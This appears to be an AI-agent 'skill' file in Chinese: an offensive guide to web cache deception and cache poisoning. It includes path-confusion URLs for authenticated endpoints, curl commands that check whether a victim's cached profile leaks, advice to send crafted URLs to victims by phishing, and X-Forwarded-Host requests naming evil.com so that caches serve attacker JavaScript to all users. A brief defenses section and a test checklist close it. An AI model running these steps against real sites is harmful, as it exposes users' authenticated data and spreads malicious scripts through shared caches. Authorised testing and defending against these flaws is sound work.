SKILL: Web Cache Deception — 專家級攻擊實戰指南

AI LOAD INSTRUCTION: Web 快取欺騙與快取投毒技術。涵蓋路徑混淆攻擊、CDN 快取行為利用、快取鍵（Cache Key）操控，以及快取欺騙（竊取資料）與快取投毒（提供惡意內容）之間的區別。由 Omer Gil 於 Black Hat 2017 提出，隨後獲得大幅擴充。

進階參考

當你需要以下內容時，請同時載入 CACHE_POISONING_TECHNIQUES.md：

Web 快取投毒 vs Web 快取欺騙 — 清晰的差異與攻擊流程比較
未納入快取鍵的 Header 投毒（X-Forwarded-Host、X-Forwarded-Scheme、X-Original-URL、多重 Host Header）
未納入快取鍵的參數投毒（utm_content、fbclid、callback，反映在回應中但未包含在快取鍵中）
Fat GET 快取投毒（Body 參數被反映但未納入快取鍵）
透過分號與重複參數解析差異進行的參數隱蔽（Parameter Cloaking）
特定 CDN 的行為特徵：Cloudflare、CloudFront、Akamai、Varnish、Fastly（快取鍵組成、偵錯 Header、ESI）
Vary Header 操控、快取分區攻擊（Cache Partitioning Attacks）與缺失 Vary 漏洞

1. 核心概念

Web 快取欺騙（竊取已驗證身份的資料）

攻擊者誘騙受害者存取位於快取機制視為靜態資源 URL 上的已驗證頁面：

受害者存取：https://target.com/account/profile/nonexistent.css
→ 應用程式忽略 "nonexistent.css"，回傳 /account/profile（包含認證資料）
→ CDN 看到 .css 副檔名 → 將回應快取起來
→ 攻擊者擷取：https://target.com/account/profile/nonexistent.css
→ CDN 提供已快取的認證內容 → 攻擊者讀取受害者的資料

Web 快取投毒（提供惡意內容）

攻擊者操控未納入快取鍵的請求組件（Header、Cookie），使快取儲存惡意回應：

GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ 應用程式產生：<script src="https://evil.com/js/app.js">
→ 快取儲存此回應
→ 一般使用者存取快取 → 載入攻擊者的 JavaScript

2. 快取欺騙 — 攻擊方法論

步驟 1：識別可快取的路徑模式

CDN 通常根據副檔名進行快取：

.css  .js  .jpg  .png  .gif  .svg  .ico
.woff .woff2  .ttf  .pdf  .json (有時)

步驟 2：測試路徑混淆

# 在需要認證的端點後附加靜態副檔名：
https://target.com/api/me/info.css
https://target.com/account/profile/x.js
https://target.com/settings/avatar.png
https://target.com/dashboard/data.json

# 路徑穿越風格：
https://target.com/account/profile/..%2fstatic/app.css

步驟 3：驗證快取狀態

# 以受害者身份發送請求（已驗證身份）：
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css

# 檢查回應標頭：
# X-Cache: MISS (第一次請求)
# Age: 0

# 再次以攻擊者身份發送請求（未驗證）：
curl https://target.com/account/profile/x.css

# 檢查回應：
# X-Cache: HIT
# 是否包含受害者的認證內容？ → 存在漏洞

步驟 4：傳送給受害者

透過社交工程/釣魚、訊息或嵌入方式將精心製作的 URL 傳送給受害者：

https://target.com/account/profile/tracking.gif

3. 快取投毒 — 攻擊方法論

未納入快取鍵的輸入發現

快取鍵通常包含：Host、URL 路徑、查詢字串（Query String）。
這些通常未納入快取鍵中：X-Forwarded-Host、X-Forwarded-Scheme、X-Original-URL、Cookie、自訂 Header。

# 測試 X-Forwarded-Host 是否會反映在回應中但未納入快取鍵：
curl -H "X-Forwarded-Host: evil.com" https://target.com/page
# 若回應包含 evil.com 且被快取 → 可進行投毒

常見未納入快取鍵的 Header

X-Forwarded-Host      X-Forwarded-Scheme    X-Forwarded-Proto
X-Original-URL        X-Rewrite-URL         X-Host
X-Forwarded-Server    Forwarded             True-Client-IP

透過 Host Header 進行快取投毒

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

→ 回應：<link href="//evil.com/static/main.css">
→ 被快取 → 所有使用者都會載入攻擊者的 CSS/JS

4. 路徑正規化差異

快取欺騙的關鍵在於：CDN 與應用程式對路徑的正規化（Normalization）方式不同。

元件	行為
CDN（Cloudflare, Akamai）	根據包含副檔名的完整 URL 路徑進行快取
應用程式（Rails, Django, Express）	可能會忽略末尾的路徑片段或副檔名
反向代理（Nginx）	可能會在轉發前剝離（Strip）或重寫路徑

# 應用程式將以下視為相同：
/account/profile
/account/profile/anything
/account/profile/x.css
/account/profile;.css

# CDN 將 .css 視為可快取的靜態資源
→ 不一致（Mismatch） = 漏洞

5. 快取投毒真實世界模式

X-Forwarded-Host → Open Graph / Meta 標籤注入

# 目標頁面使用 X-Forwarded-Host 來生成 Meta 標籤：
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# 回應：
<meta property="og:image" content="https://evil.com/assets/logo.png">
# 或：
<link rel="canonical" href="https://evil.com/">

# 若回應被快取 → 所有使用者都會看到 evil.com 的引用
# 影響：透過注入的 JS 路徑觸發 XSS、透過 Canonical 重定向進行網路釣魚、SEO 劫持

結合路徑分隔符技巧的快取欺騙

# 分號（部分框架將其視為路徑參數）：
/account/profile;.css

# 編碼過的分隔符：
/account/profile%2F.css

# 末尾點號/空格：
/account/profile/.css
/account/profile .css

6. 防禦措施

針對快取欺騙

僅快取明確定義的靜態路徑（例如：/static/*、/assets/*）
切勿單憑副檔名進行快取
在需要認證的端點上設定 Cache-Control: no-store, private
使用 Vary: Cookie 防止跨使用者快取命中

針對快取投毒

將所有反映在回應中的 Header 納入快取鍵
驗證並清理 X-Forwarded-* 標頭
對動態內容使用 Cache-Control: no-cache
在 CDN 邊緣節點剝離未知的 Header

6. 測試檢查清單

□ 識別 CDN/快取層（X-Cache, Age, Via 標頭）
□ 在需要認證的 API 端點附加 .css/.js/.png
□ 檢查回應是否被快取（第二次請求時顯示 X-Cache: HIT）
□ 測試路徑分隔符：/x.css, ;.css, %2F.css
□ 測試未納入快取鍵的 Header：X-Forwarded-Host, X-Original-URL
□ 驗證敏感端點上的 Cache-Control 標頭
□ 檢查是否存在 Vary 標頭
□ 分別在有認證與無認證狀態下進行測試

web-cache-deception

相關技能